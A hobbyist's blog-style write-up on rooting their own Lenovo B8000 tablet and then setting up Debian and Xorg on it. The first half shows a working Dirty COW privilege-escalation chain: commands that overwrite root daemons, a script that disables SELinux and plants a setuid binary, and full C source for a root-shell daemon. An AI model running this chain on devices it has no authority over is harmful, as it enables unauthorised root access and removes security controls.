We do what we must, because we can. After four other tablet builds, surely the Lenovo B8000 would be more of the same. But no! Exciting adventures await those who come to XDADevelopers only once all the Mega links (and other, less trustworthy binaries) have expired / been superseded by device updates:
shell@B8000:/ $ ls -laR 2>/dev/null | grep '^.rws'
Hrm, nothing :( There is seriously not a single discoverable setuid binary on the entire system.
Well then, let's get serious. Didn't play CTFs for nothing, I hope.
shell@B8000:/ $ cat /proc/version Linux version 3.4.67 (buildslave@bjws08) (gcc version 4.7 (GCC) ) #1 SMP PREEMPT Thu Jan 8 00:51:23 CST 2015
So let's check this wonderful collection of available ways to root. Initially, I thought CVE-2015-6619 looked promising, but ultimately I found with CVE-2016-5195 a reliable and safe exploit.
As I don't have a method to flash from the fallback ROM (there are allegedly Windows tools, but no, just no), I'd rather not do permament modifications to any system setups which could interfere with the boot process up to adb.
So, CVE-2016-5195 is a race-condition between copy-on-write and page-in from storage when a page was ejected from the page cache and was fixed on 2016-10-13, i.e. in particular after the kernel has been build.
This is ideal for my "don't want to brick" situation, because the exploit "only" touches the page-cache, i.e. what the kernel *thinks* is on the disk. But it will all be gone after a reboot.
The first idea was to patch /system/bin/bootanimation real fast during boot. However, that did not work, either because "real fast" was in fact not or the bootanimation on the B8000 is not executed as root.
So, let's check other targets:
shell@B8000:/ $ ps | grep root ... root 298 2 0 0 ffffffff 00000000 S pvr_workqueue root 722 2 0 0 ffffffff 00000000 S ksdioirqd/mmc2 root 747 2 0 0 ffffffff 00000000 S tx_thread root 1760 1 1772 540 ffffffff 00000000 S /system/bin/debuggerd root 1812 1 9920 1116 ffffffff 00000000 S /system/bin/netd ...
How about patching one of those auto-restarted daemons with binaries in /system/bin?
However, I am a lazy hacker, and building a binary-level exploit including an ARM nop-sled to catch $pc as it went didn't seem very attractive or reliable. In an ideal world, I'd just patch a shell script and get execution to restart from beginning (thank you init).
After some fiddling around, it was clear I could get debuggerd to start as root, if some other process crashed (e.g. because someone just hard-replaced executable pages...)
shell@B8000:/data/local/tmp $ cat enable-su.sh #!/system/bin/sh if [ $(getenforce) = "Enforcing" ]; then /system/bin/setenforce 0 chown root:shell /data/local/tmp/run-as chmod 4777 /data/local/tmp/run-as mount -o remount,suid /data fi shell@B8000:/data/local/tmp $ ./dirtycow enable-su.sh /system/bin/debuggerd shell@B8000:/data/local/tmp $ ./dirtycow enable-su.sh /system/bin/netd shell@B8000:/data/local/tmp $ ls -la -rwx------ shell shell 17880 2021-01-19 21:52 dirtycow -rwxrwxrwx shell shell 194 2021-01-19 23:04 enable-su.sh -rwsrwxrwx root shell 5544 2021-01-19 21:52 run-as shell@B8000:/data/local/tmp $ getenforce Permissive
Nice. But I'd rather not remount,rw /system at this point (and risk the kernel realizing it has dirty pages to write back...), because that netd was probably useful and we'll need it later. So let's back it up first.
shell@B8000:/data/local/tmp $ cp /system/bin/netd netd.orig shell@B8000:/data/local/tmp $ cp /system/bin/debuggerd debuggerd.orig shell@B8000:/data/local/tmp $ sync shell@B8000:/data/local/tmp $ reboot
(Better make sure this is really there.)
shell@B8000:/data/local/tmp $ ./dirtycow enable-su.sh /system/bin/debuggerd shell@B8000:/data/local/tmp $ ./dirtycow enable-su.sh /system/bin/netd shell@B8000:/data/local/tmp $ ./run-as shell@B8000:/data/local/tmp # id uid=0(root) gid=0(root) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:shell:s0 shell@B8000:/data/local/tmp # mount -o remount,rw /system mount: Operation not permitted 255|shell@B8000:/data/local/tmp # getenforce Permissive
WTF.
shell@B8000:/data/local/tmp # cat /proc/$$/status SigQ: 0/7900 SigPnd: 0000000000000000 ShdPnd: 0000000000000000 SigBlk: 0000000000000000 SigIgn: 0000000000380000 SigCgt: 000000000801f4ff CapInh: 0000000000000000 CapPrm: ffffffe0000000c0 CapEff: ffffffe0000000c0 CapBnd: ffffffe0000000c0 Cpus_allowed: f Cpus_allowed_list: 0-3 voluntary_ctxt_switches: 23 nonvoluntary_ctxt_switches: 5
Ok, how paranoid can a setup actually be?
But surely, there is a way. I checked the capabilities of the debuggerd, and they are all set, i.e. available.
So, maybe if we give the run-as binary extra capabilities via the extendend file-system attributes?
Of course there is is no libcap available during android builds, but there is source somewhere.
After trying for waaaay to long to use _L_LINUX_CAPABILITY_VERSION_2 as the VFS capability magic number, I finally figured I need VFS_CAP_REVISION_2 instead (which is deprecated according to my header, but was correct when the kernel was build). This worked, but it seems I had not read the fine-print on how file-capabilities interact with set-uid 0 binaries. :(
They cannot escape the capabilities bound. But anyway, one evening well-spent researching the innards of how the extended attributes "security.capabilities" is encoded. Spoiler: Not prettily.
Next plan: Do it like Magisk, launch a su-granting daemon to which we will pass adb's stdio/out/err via UNIX domain sockets but which can fork from a full-capabilities process.
So let's "quickly" (well, it took a few hours and iterations) slap together something along those lines (using the same build setup which came with the original dirtycow-PoC code):
#include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/un.h> #include <sys/ioctl.h> #include <sys/stat.h> #include <dlfcn.h> #include <fcntl.h> #undef DEBUG #undef PRINT #ifdef DEBUG #include <android/log.h> #define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); } #elif PRINT #define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); } #else #define LOGV(...) #endif #define SOCKET_PATH "/data/local/tmp/su.sock" //reduce binary size char __aeabi_unwind_cpp_pr0[0]; struct sockaddr_un SOCKET_ADDR = { .sun_family = AF_UNIX, .sun_path = SOCKET_PATH, }; void suDaemon() { int daemonPid = fork(); if(daemonPid == -1) { LOGV("daemon fork() failed: %s", strerror(errno)); return; } if(daemonPid > 0) return; for(int i = 0; i < 9999; ++i) { close(i); } daemonPid = fork(); if(daemonPid == -1) { LOGV("daemon fork() failed: %s", strerror(errno)); return; } if(daemonPid > 0) return; int ttyFd = open("/dev/tty", O_RDWR); if(ttyFd == -1) { LOGV("open() /dev/tty fork() failed: %s", strerror(errno)); } if(ioctl(ttyFd, TIOCNOTTY, NULL) == -1) { LOGV("tty detach failed: %s", strerror(errno)); } if(setpgid(getpid(), 0) == -1) { LOGV("setpgid() failed: %s", strerror(errno)); } int sockFd = socket(AF_UNIX, SOCK_SEQPACKET, 0); if(sockFd == -1) { LOGV("socket() failed: %s", strerror(errno)); return; } if(unlink(SOCKET_PATH) == -1) { LOGV("unlink() failed: %s", strerror(errno)); } if(bind(sockFd, (struct sockaddr *)&SOCKET_ADDR, sizeof(SOCKET_ADDR)) == -1) { LOGV("bind() failed: %s", strerror(errno)); return; } // This bit was originally missing, but left here for easy-copy-n-paste if(chmod(SOCKET_PATH, 0777) == -1) { LOGV("chmod() on socket failed: %s", strerror(errno)); return; } if(listen(sockFd, 8) == -1) { LOGV("listen() failed: %s", strerror(errno)); return; } int conFd = -1; while(1) { // Wait for earlier children while(1) { int wstatus; int pid = waitpid(-1, &wstatus, WNOHANG); if(pid == -1) { LOGV("waitpid() failed: %s", strerror(errno)); break; } if(pid == 0) { break; } } LOGV("daemon ready to accept()"); conFd = accept(sockFd, NULL, 0); if(conFd == -1) { LOGV("accept() failed: %s", strerror(errno)); continue; } LOGV("accepted. conFd: %d", conFd); int childPid = fork(); if(childPid == -1) { LOGV("fork() failed: %s", strerror(errno)); if(close(conFd) == -1) { LOGV("close() failed: %s", strerror(errno)); } continue; } if(childPid == 0) { break; } if(close(conFd) == -1) { LOGV("close() failed: %s", strerror(errno)); } } LOGV("in child, conFd: %d", conFd); char iovbuf; struct cmsghdr *cmsg; struct iovec iov = { .iov_base = &iovbuf, .iov_len = 1, }; int receivedFds[3]; char cmsgbuf[CMSG_SPACE(sizeof(receivedFds))]; struct msghdr msg = { .msg_iov = &iov, .msg_iovlen = 1, .msg_control = cmsgbuf, .msg_controllen = sizeof(cmsgbuf), }; if(recvmsg(conFd, &msg, MSG_WAITALL) == -1) { LOGV("recvmsg() failed in daemon: %s", strerror(errno)); exit(-1); } // Was a control message actually sent? switch (msg.msg_controllen) { case 0: LOGV("No control message received, exiting"); exit(1); case sizeof(cmsgbuf): // Yes, grab the file descriptor from it. break; default: LOGV("unable to receive fds\n"); exit(-1); } cmsg = CMSG_FIRSTHDR(&msg); if (cmsg == NULL || cmsg->cmsg_len != CMSG_LEN(sizeof(receivedFds)) || cmsg->cmsg_level != SOL_SOCKET || cmsg->cmsg_type != SCM_RIGHTS) { LOGV("unable to extract fds\n"); exit(-1); } memcpy(receivedFds, CMSG_DATA(cmsg), sizeof(receivedFds)); LOGV("Got fds, %d %d %d", receivedFds[0], receivedFds[1], receivedFds[2]); char shell[4096]; char command[4096]; int shellLen = read(conFd, shell, sizeof(shell) - 1); if(shellLen < 0) { LOGV("failed to read shell: %s", strerror(errno)); } else { shell[shellLen] = '\0'; } if(!shellLen) { strcpy(shell, "/system/bin/sh"); shellLen = strlen(shell); } int commandLen = read(conFd, command, sizeof(command) - 1); if(commandLen < 0) { LOGV("failed to read command: %s", strerror(errno)); } else { command[commandLen] = '\0'; } int shellPid = fork(); if(shellPid == -1) { LOGV("su fork() failed: %s", strerror(errno)); } if(shellPid == 0) { // Move the FDs out of the 0-2 range int stdinBackup = dup(receivedFds[0]); if(stdinBackup == -1) { LOGV("dup() [0] failed: %s", strerror(errno)); } int stdoutBackup = dup(receivedFds[1]); if(stdoutBackup == -1) { LOGV("dup() [1] failed: %s", strerror(errno)); } int stderrBackup = dup(receivedFds[2]); if(stderrBackup == -1) { LOGV("dup() [2] failed: %s", strerror(errno)); } close(receivedFds[0]); close(receivedFds[1]); close(receivedFds[2]); if(dup2(stdinBackup, STDIN_FILENO) == -1) { LOGV("dup2() [0] failed: %s", strerror(errno)); exit(-1); } if(dup2(stdoutBackup, STDOUT_FILENO) == -1) { LOGV("dup2() [1] failed: %s", strerror(errno)); exit(-1); } if(dup2(stderrBackup, STDERR_FILENO) == -1) { LOGV("dup2() [2] failed: %s", strerror(errno)); exit(-1); } close(stdinBackup); close(stdoutBackup); close(stderrBackup); LOGV("ready to execute shell"); int execRet; if(commandLen) { char *shellArgv[] = { shell, "-c", command, NULL, }; execRet = execvp(shell, shellArgv); } else { char *shellArgv[] = { shell, NULL, }; execRet = execvp(shell, shellArgv); } LOGV("shell exec failed: %s", strerror(errno)); exit(1); } LOGV("waiting for shell completion"); int waitRet = waitpid(shellPid, NULL, 0); if(waitRet == -1) { LOGV("waitpid() on shell failed: %s", strerror(errno)); } LOGV("shell completed"); close(conFd); exit(0); } int suClient(int argc, const char **argv) { const char *shell = ""; const char *command = ""; for(int i = 1; i < argc; ++i) { if(!strcmp(argv[i], "-s") && i + 1 < argc) { shell = argv[i + 1]; } if(!strcmp(argv[i], "-c") && i + 1 < argc) { command = argv[i + 1]; } } int sockFd = socket(AF_UNIX, SOCK_SEQPACKET, 0); if(sockFd == -1) { LOGV("socket() failed: %s", strerror(errno)); return 1; } if(connect(sockFd, (struct sockaddr *)&SOCKET_ADDR, sizeof(SOCKET_ADDR)) == -1) { LOGV("connect() failed: %s", strerror(errno)); return 1; } struct msghdr msg = { 0 }; struct cmsghdr *cmsg; int sendingFds[3] = { STDIN_FILENO, STDOUT_FILENO, STDERR_FILENO }; char iobuf[1]; struct iovec io = { .iov_base = iobuf, .iov_len = sizeof(iobuf) }; union { /* Ancillary data buffer, wrapped in a union in order to ensure it is suitably aligned */ char buf[CMSG_SPACE(sizeof(sendingFds))]; struct cmsghdr align; } u; LOGV("client entered"); msg.msg_iov = &io; msg.msg_iovlen = 1; msg.msg_control = u.buf; msg.msg_controllen = sizeof(u.buf); cmsg = CMSG_FIRSTHDR(&msg); cmsg->cmsg_level = SOL_SOCKET; cmsg->cmsg_type = SCM_RIGHTS; cmsg->cmsg_len = CMSG_LEN(sizeof(sendingFds)); memcpy(CMSG_DATA(cmsg), sendingFds, sizeof(sendingFds)); if(sendmsg(sockFd, &msg, 0) == -1) { LOGV("sendmsg() failed: %s", strerror(errno)); return 1; } msg.msg_iov = &io; msg.msg_iovlen = 1; msg.msg_control = NULL; msg.msg_controllen = 0; if(write(sockFd, shell, strlen(shell)) != strlen(shell)) { LOGV("sending shell failed: %s", strerror(errno)); } if(write(sockFd, command, strlen(command)) != strlen(command)) { LOGV("sending command failed: %s", strerror(errno)); } signal(SIGINT, SIG_IGN); while(1) { int recvLen = recvmsg(sockFd, &msg, MSG_WAITALL); if(recvLen == -1) { LOGV("recvmsg() failed client: %s", strerror(errno)); return 1; } if(recvLen == 0) { break; } LOGV("unexpected recvmsg() data"); } LOGV("client completed"); return 0; } int main(int argc, const char **argv) { LOGV("uid %s %d", argv[0], getuid()); if(argc == 2 && !strcmp(argv[1], "--daemon")) { suDaemon(); return 0; } return suClient(argc, argv); }
I learned two additional new things:
1. SCM_RIGHTS is able to pass multiple file descriptors in one go.
2. SOCK_SEQPACKET does one-by-one deliveries of fixed-length packets
(see me fearlessly write(2)-ing two strings into the same socket without
any length data).
And, let's go:
shell@B8000:/data/local/tmp $ ./dirtycow start-su.sh /system/bin/debuggerd shell@B8000:/data/local/tmp $ ./dirtycow start-su.sh /system/bin/netd shell@B8000:/data/local/tmp $ /data/local/tmp/su uid /data/local/tmp/su 2000 connect() failed: Permission denied 1|shell@B8000:/data/local/tmp $ ls -la su.sock srwx------ root root 2021-01-20 23:13 su.sock
Yeah, ok... (see comment on chmod in the code above).
And after some further detail fixes, finally
id uid=0(root) gid=0(root) context=u:r:aee_aed:s0 cat /proc/$$/status Name: sh ... CapPrm: ffffffffffffffff CapEff: ffffffffffffffff CapBnd: ffffffffffffffff
Success! (It actually looked like that without prompt, because I initially mangled stderr while dup2(2)-ing like crazy.)
Now towards actually using the device. Where can we control the panel backlight?
pwd /sys/class/leds/lcd-backlight
Unfortunately,
dd if=/dev/urandom of=/dev/fb0
did not give me random noise on the screen.
But maybe we just to setup the framebuffer right and a real Xorg would do it...
So, copy over the debian-jessie from another tablet via SimpleSSHd:
root@otherTablet # rsync -azHvD -P -e 'ssh -p 2222' --exclude '/run/*' --exclude '/proc/*' --exclude '/sys/*' --exclude '/sdcard/*' --exclude '/dev/pts/*' / root@192.168.2.118:/data/debian-jessie
(This is btw. the reason to support -s and -c within the su binary above: Otherwise SimpleSSHd cannot pass the rsync invocations into the shell correctly.)
Trying Xorg:
Fatal server error: (EE) xf86OpenConsole: Cannot open virtual console 1 (No such device or address)
No /dev/tty1, ok. Let's reuse /dev/ttyGS0 as on some other tablet.
b8000 /dev % mknod tty1 c 232 0
(II) Using input driver 'evdev' for 'Mouse0' (**) Mouse0: always reports core events (**) evdev: Mouse0: Device: "/dev/input/event3" (II) evdev: Mouse0: Using mtdev for this device Xorg: symbol lookup error: /usr/lib/xorg/modules/input/evdev_drv.so: undefined symbol: mtdev_new_open
Interesting that this ever worked... anyway, extended the xf86-input-evdev backport from the other tablet:
yolo.so: gcc \ -DMULTITOUCH -DPACKAGE_VERSION_MAJOR=2 -DPACKAGE_VERSION_MINOR=9 -DPACKAGE_VERSION_PATCHLEVEL=2 \ -I src -I include -I /usr/include/libevdev-1.0 -I /usr/include/x org -I /usr/include/pixman-1 \ -fPIC -lmtdev -levdev -shared -o yolo.so src/*.c install: yolo.so cp yolo.so /usr/lib/xorg/modules/input/evdev_drv.so .PHONY: yolo.so install
b8000 /root/xf86-input-evdev % make install gcc \ -DMULTITOUCH -DPACKAGE_VERSION_MAJOR=2 -DPACKAGE_VERSION_MINOR=9 -DPACKAGE_VERSION_PATCHLEVEL=2 \ -I src -I include -I /usr/include/libevdev-1.0 -I /usr/include/xorg -I /usr/include/pixman-1 \ -fPIC -lmtdev -levdev -shared -o yolo.so src/*.c cp yolo.so /usr/lib/xorg/modules/input/evdev_drv.so
After adding another bootanimation stop (whyever it restarted once) this should work now:
setprop ctl.stop media setprop ctl.stop zygote sleep 1 setprop ctl.stop bootanim sleep 1 setprop ctl.stop bootanim mount -o remount,rw /system mount -t proc proc /data/debian-jessie/proc mount -t sysfs sysfs /data/debian-jessie/sys mount -t devpts devpts /data/debian-jessie/dev/pts mount -o bind /storage/emulated/legacy /data/debian-jessie/sdcard mount -o remount,rw,suid,dev /data
And, we have a working Xorg server!
Finally some convenience:
root@B8000:/system/xbin # ln -s /data/local/tmp/su su
Next up: Is there any way whatsoever to get this touchscreen sensitivity up? It is rather unwholesome. Events in /dev/input/event3 are already flaky, so it's not the case that we get them filtered down to "real touches" somewhere in the X server. (btw. /dev/event0 is hardware buttons as everywhere I have checked so far).
b8000 /sys/devices % find | grep input b8000 /sys/devices/platform % find | vim -
This is the touchscreen driver, apparently: https://android.googlesource.com/kernel/mediatek/+/android-mediatek-sprout-3.4-kitkat-mr2/drivers/input/touchscreen/mediatek/mtk_tpd.c
Nice, a debug log device? https://android.googlesource.com/kernel/mediatek/+/android-mediatek-sprout-3.4-kitkat-mr2/drivers/input/touchscreen/mediatek/tpd_debug.c#338
b8000 ..tpd_debug/parameters % pwd /sys/module/tpd_debug/parameters b8000 ..tpd_debug/parameters % ls tpd_debug_nr tpd_em_log tpd_log_line_buffer tpd_debug_time tpd_em_log_to_fs tpd_log_line_cnt tpd_debuglog tpd_fail_count tpd_trial_count
No success. All useful-looking parameters from the source (there are more) seem ultimately unused :(
At least I learned one can modify module parameters during run-time via those paths (and crash the system, I think by overflowing the tpd_em_log).
While testing various touchscreen stuff, I also notice a new (i.e. not seen on the other tablets) Xorg problem: Red and blue channel are switched.
Using the same technique as on the SM-T113, we can probably intercept the framebuffer query and fix the wrong kernel answer about channel bitmasks:
b8000 /root % gdb Xorg (gdb) break ioctl Function "ioctl" not defined. Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 1 (ioctl) pending. ... (II) FBDEV: driver for framebuffer: fbdev (++) using VT number 1 Breakpoint 1, ioctl () at ../sysdeps/unix/syscall-template.S:82 82 ../sysdeps/unix/syscall-template.S: No such file or directory. (gdb) print /x $r1 $4 = 0x5603 (gdb) cont Continuing. [tcsetpgrp failed in terminal_inferior: Inappropriate ioctl for device] (WW) xf86OpenConsole: VT_GETSTATE failed: Invalid argument (WW) Falling back to old probe method for fbdev (II) Loading /usr/lib/xorg/modules/libfbdevhw.so [tcsetpgrp failed in terminal_inferior: Inappropriate ioctl for device] [tcsetpgrp failed in terminal_inferior: Inappropriate ioctl for device] (II) Module fbdevhw: vendor="X.Org Foundation" compiled for 1.16.4, module version = 0.0.2 (II) FBDEV(0): using /dev/fb0 (WW) VGA arbiter: cannot open kernel arbiter, no multi-card support Breakpoint 1, ioctl () at ../sysdeps/unix/syscall-template.S:82 82 in ../sysdeps/unix/syscall-template.S (gdb) print /x $r1 $5 = 0x4602 (gdb) cont Continuing. [tcsetpgrp failed in terminal_inferior: Inappropriate ioctl for device] Breakpoint 1, ioctl () at ../sysdeps/unix/syscall-template.S:82 82 in ../sysdeps/unix/syscall-template.S (gdb) print /x $r1 $6 = 0x4600 (gdb) print /x $r2 $7 = 0x2a19a180 (gdb) stepi [tcsetpgrp failed in terminal_inferior: Inappropriate ioctl for device] 0xb6cda10e 82 in ../sysdeps/unix/syscall-template.S (gdb) [tcsetpgrp failed in terminal_inferior: Inappropriate ioctl for device] 0xb66bd932 in fbdevHWInit () from /usr/lib/xorg/modules/libfbdevhw.so (gdb) x /20lx 0x2a19a180 0x2a19a180: 0x00000500 0x00000320 0x00000500 0x00000960 0x2a19a190: 0x00000000 0x00000000 0x00000020 0x00000000 0x2a19a1a0: 0x00000000 0x00000008 0x00000000 0x00000008 0x2a19a1b0: 0x00000008 0x00000000 0x00000010 0x00000008 0x2a19a1c0: 0x00000000 0x00000018 0x00000008 0x00000000 (gdb) set *(int *)(0x2a19a1a0) = 0x10 (gdb) set *(int *)(0x2a19a1b8) = 0x0 (gdb) x /20lx 0x2a19a180 0x2a19a180: 0x00000500 0x00000320 0x00000500 0x00000960 0x2a19a190: 0x00000000 0x00000000 0x00000020 0x00000000 0x2a19a1a0: 0x00000010 0x00000008 0x00000000 0x00000008 0x2a19a1b0: 0x00000008 0x00000000 0x00000000 0x00000008 0x2a19a1c0: 0x00000000 0x00000018 0x00000008 0x00000000 (gdb) disable 1 (gdb) cont
Yes. So a straightforward patching after the FBIOGET_VSCREENINFO ioctl will be all we need...
b8000 /root % cat xorg-ioctls.c // gcc -fPIC -shared -o xorg-ioctls.so xorg-ioctls.c -ldl #define _GNU_SOURCE #include <dlfcn.h> #include <sys/types.h> #include <fcntl.h> #include <stddef.h> #include <linux/fb.h> static int(*ioctl_orig)(int, unsigned long, ...) = NULL; int ioctl(int fd, unsigned long request, void *a, void *b, void *c, void *d, void *e) { if(!ioctl_orig) { ioctl_orig = dlsym(RTLD_NEXT, "ioctl"); } int ret = ioctl_orig(fd, request, a, b, c, d, e); if(request == FBIOGET_VSCREENINFO) { struct fb_var_screeninfo *info = a; info->red.offset = 0x10; info->blue.offset = 0; } return ret; } b8000 /root % cat X.sh #!/bin/sh LD_PRELOAD=/root/xorg-ioctls.so Xorg -sharevts -noreset -retro -verbose vt1
And done.
For completeness, here is the xorg.conf:
b8000 / % cat /etc/X11/xorg.conf Section "ServerLayout" Identifier "Layout0" Screen "Screen0" InputDevice "Mouse0" "CorePointer" InputDevice "Keyboard0" "CoreKeyboard" EndSection Section "InputDevice" Identifier "Keyboard0" Driver "evdev" Option "Device" "/dev/input/event1" Option "Protocol" "usb" EndSection Section "InputDevice" Identifier "Mouse0" Driver "evdev" Option "Device" "/dev/input/event3" Option "IgnoreRelativeAxes" "true" Option "IgnoreAbsoluteAxes" "false" Option "Mode" "Absolute" EndSection Section "Device" Identifier "Card0" Driver "fbdev" Option "fbdev" "/dev/fb0" Option "debug" "true" VendorName "Unknown" BoardName "Unknown" EndSection Section "Screen" Identifier "Screen0" Device "Card0" Monitor "Monitor0" SubSection "Display" Modes "1280x800" EndSubSection EndSection Section "Monitor" Identifier "Monitor0" Mode "1280x800" # D: 64.000 MHz, H: 44.444 kHz, V: 54.003 Hz DotClock 64.001 HTimings 1280 1328 1360 1440 VTimings 800 802 808 823 Flags "-HSync" "-VSync" EndMode EndSection Section "ServerFlags" Option "AutoAddDevices" "false" EndSection
Integration into the multi-monitor setup went uneventfully (except the pressure to automate the coordinate calculations increased).